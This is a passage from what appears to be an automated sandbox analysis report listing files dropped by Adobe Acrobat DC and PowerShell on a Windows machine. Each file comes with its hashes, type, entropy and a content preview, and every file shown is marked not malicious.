SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfbPtdPeUkwRe9:YvXKXzIlvR/ZwHAC+wGDV8Ukee9
MD5:	3BB62BD2DBFF2B314ABFB508FE6EFC28
SHA1:	B39BB3DC4A43EB23811CFC7197C14383AB4278F1
SHA-256:	B0391A3C8B797565AAD26DCC45ABD8CB2A38BBDFA8944D84843CD0435178CE58
SHA-512:	12D59230852F4821CF68EBD3D4CE761CFC668FC9CD1459227B5F5E5BA90201B9ABB01C13B82285783B8E7DB6E239AE0C2A31D325E9F30E5DFDFF12793E4BC584
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277397827555052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJf21rPeUkwRe9:YvXKXzIlvR/ZwHAC+wG+16Ukee9
MD5:	A4F3D740C464BEC57FC2F9993A53D7E8
SHA1:	016F1721EB6FD2F31137EF3EBB9BB65DF627F471
SHA-256:	2D0F18BF9CF31DABAEBA301B343206120ED93D91714B5CE3D138AD258E3C111B
SHA-512:	745B2E6002EE55B391568626447C42D533D423F0BECAACEA58C2ED87BB5E3D2F4A6C7EF82C5C908806C9B3D9B2F32B02E88FB0A9D0E33D6B9B77E77A16EC0745
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668777554766962
Encrypted:	false
SSDEEP:	24:Yv6XeJhrVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:YvjJhrJBgkDMUJUAh8cvMV
MD5:	571E5CC5FA27986A4D965066F60F2612
SHA1:	2B109ABC58BB32401F3272432361597933AF3B24
SHA-256:	01B681BC2E4434B45D68E63D5C29B16DC737B01E0D07CF1A078C9937680C4B0D
SHA-512:	28A6B44C1AB3AF3235EEBE02EE59B7CC573E542BBBEF50EF2023B73DFF1B25F63D7C679A9C2AD029784D7ABAB091EBA04398166EC0C7E8F4A44EF76014F809E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2536821819514685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfshHHrPeUkwRe9:YvXKXzIlvR/ZwHAC+wGUUUkee9
MD5:	21101F913CB7E86214387BAC763D12A7
SHA1:	A42543BDDEC3C0AA4D0D721E2A7E96A10649541F
SHA-256:	FA0944D6B92F5BD8FDBE3A7B18DED9A91E37BDC74D900089375653EECF400857
SHA-512:	2762DE1DE4C46AF3BB199C80755617C847E5D4A92F34B205BF25D84A5B6F1BB37066E0BFD334B9D4D99A07179E27EE71736FDB5166EC44264FCBD9F75633E6F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265220123849735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJTqgFCrPeUkwRe9:YvXKXzIlvR/ZwHAC+wGTq16Ukee9
MD5:	7BC56755B8D06927C666C8DF4DC0E13D
SHA1:	B6722AFF735CEFD357042A5A080912DCB0A88774
SHA-256:	F8ABC2EC33C3F749701914CDB3B53B090661BE0D9892998AE14A744D20CE7ED4
SHA-512:	7ABD4452E1D8DEDD72AEC1ED63F556CE606D09C6146287CDF766E81A0F216FB10980DC45EBB8C5169316A73A710FDEFE50655B99524345FD25CECC85192A4E64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148466652220196
Encrypted:	false
SSDEEP:	24:YX/zElaxUaybe804hGx7U1BFb8vfO9G7jbFj0S1zd2te42LSvCf0q2msuhLe5l4S:YvzSGdU1bA3OQbJvK9xs0q2msuCL49Y
MD5:	B2D489FBB95CFFD0C2C0F68F748C3C56
SHA1:	F1F32B2728E06F2A573E9B7F1309722EDD81ED24
SHA-256:	2B7B1CB5724F2B401C065665A98EDA858513ECB13E19574311745862FE9E0FF1
SHA-512:	12BF6D2779A89308EA9A0A69C69AF23B64BD5CB85791DFB1DABF5AE81208336EB8E638BCB130C80D828E28D02E850C4239648C2817FE7D473AC185C5CDB9DF6C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4557fa8587b415adc28e3417938b3801","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549173000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a13a5614da8ad002e2b8b61359db36cd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549173000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"528e957cd82e5a60df08dffe6f29ffe2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549173000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"eb333577c197c78027ca23eb2b498e4c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549173000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"549ded9ea3f8e512964c9544754a0386","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549173000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"77c5e1ce99dd1032bbf65291b264562e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3168268778116499
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeVRJz0tH:TGufl2GL7ms9WR1CPmPbPahVGypilIPA
MD5:	FB7B4BB5B3B52059E0741AC3CDFF28D3
SHA1:	FE23D0BBC5B9CC79CD5F1545503EEC84D2413682
SHA-256:	8EDE1AD3F153E03F680B62AD40F2308371FDDE060A9E19EDAFBD8B2A43DD5C1B
SHA-512:	D44228EE8E75FBC65BF60178901982E4B09A2B347031EF34B65A1259E97F4B60D2C137AEAA0599B71F62B43E5D801591B4C01E7C1D143BF2FD82860A916B202E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779324771138292
Encrypted:	false
SSDEEP:	48:7MzlWR1CPmPbPahV/ypilICqFl2GL7ms3:7ElWfMwbPahV/3KVms3
MD5:	2621F99056CD01F2E7D4CFA1D9BFCC74
SHA1:	DF7EFA25153294AE0EDF3A005B2508E5001CEF3A
SHA-256:	376BE498CA603AEC60DB28FD0609EEEA79D2E3607013D9B28F54AF1095E64016
SHA-512:	CA6FB7D297C640953424C36F63A917AFBD003F339C0C40FAD12A94DCA879799B87CFD7B8C2FCADCABC6651053712B16C81AC720828AC226B1BC420272F88C4AC
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxZS+jGBt5UNxoHIltNP/x7TVYyu:6a6TZ44ADExZS+jsnUDx7ZK
MD5:	351606A375EB192891E1B8FD752E3241
SHA1:	D9BBA638216CCD499F2293789D01217A3DAAC51C
SHA-256:	EC07F37A4470CAFAF4557C8A1D11B65F5DDE61694DFABCFE954A8C532BB5B961
SHA-512:	BAF5C53C0498FCA915A6F38D27B79E2F5E16D04D19D6217375CF8C6C0A30AACBED4A5556E3A7FED91B7BBC032E49FAEEC8E615BEF52C86B25F05A986DA1C0324
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIf6759.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEwKCH:Qw946cPbiOxDlbYnuRK+bDtw
MD5:	8C107B5B8E4538EEC7F700356A81F223
SHA1:	CCAE9A35DD7F28790B10CC8807B8679B996384F5
SHA-256:	7936797B1304917AAEAA1648B909D41BCD1ADFF4BA909463B9D52B56C215E11F
SHA-512:	B906594F6B9A26517E107DC4206AA79B897EFD52D15E59D24CF3E2EDDB777DB6BCCEAEEE80A8FAA240B2738F73D03A8F8442FE9CF68B3C75FFC3395C856D718D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.4.6.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pcwtbte.zly.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nil2t4e2.3nn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-46-07-311.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.385214321814727
Encrypted:	false
SSDEEP:	384:yJtAV5UG4wYRENtLd7sKw6l0kDHeR1p7UbbFHLFqQejCjrINydmdY5wKKwOQn0cv:pQI
MD5:	84D56BFE25A62F638CF68A8D61B15FA0
SHA1:	483A2B20CABE81827B1EF4A4AEF34B835301DF7A
SHA-256:	0B253F831C613B3EFF612D5955CD79A727170445647728AF83121F74B7B40D39
SHA-512:	A1184BAF862130CD614F8FA24C4A46F6E978F8E277F8EA6AC31660F3F19FC7193F6CAF815766002C1A1499E6B58869E2A6CDBD4D7561FD8A59E58AD9FB5C1FFD
Malicious:	false
Preview:	SessionID=6624c0c5-58f2-49b1-8c49-f3c3aeebbfd1.1736549167322 Timestamp=2025-01-10T17:46:07:322-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6624c0c5-58f2-49b1-8c49-f3c3aeebbfd1.1736549167322 Timestamp=2025-01-10T17:46:07:329-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6624c0c5-58f2-49b1-8c49-f3c3aeebbfd1.1736549167322 Timestamp=2025-01-10T17:46:07:329-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6624c0c5-58f2-49b1-8c49-f3c3aeebbfd1.1736549167322 Timestamp=2025-01-10T17:46:07:329-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6624c0c5-58f2-49b1-8c49-f3c3aeebbfd1.1736549167322 Timestamp=2025-01-10T17:46:07:329-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4108911439081
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbDycboIVncbF:ceo4+rsCZNVg
MD5:	3650FE592B0EAB3BD396262370917F8F
SHA1:	E599252B6BF178E197CBD0822CBA9C88C9A7EEEF
SHA-256:	B1E794807D210C999901F64508872916276995D427652A244D965A2D91615CAC
SHA-512:	1E0E050AD8A98598F043B43CE921B427C08CC571008D4EB930F30206FA088301DEF51C9C57566B4FE07F5046DBAF494CFC486702884E5288647CFF769CDA5E66
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e436ef5-44b4-40e0-b16a-9b093da1c1f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\113a2130-5f90-4980-8368-bf340b02d1e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\138fcd7a-5ca3-421f-8755-fa82d90031af.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
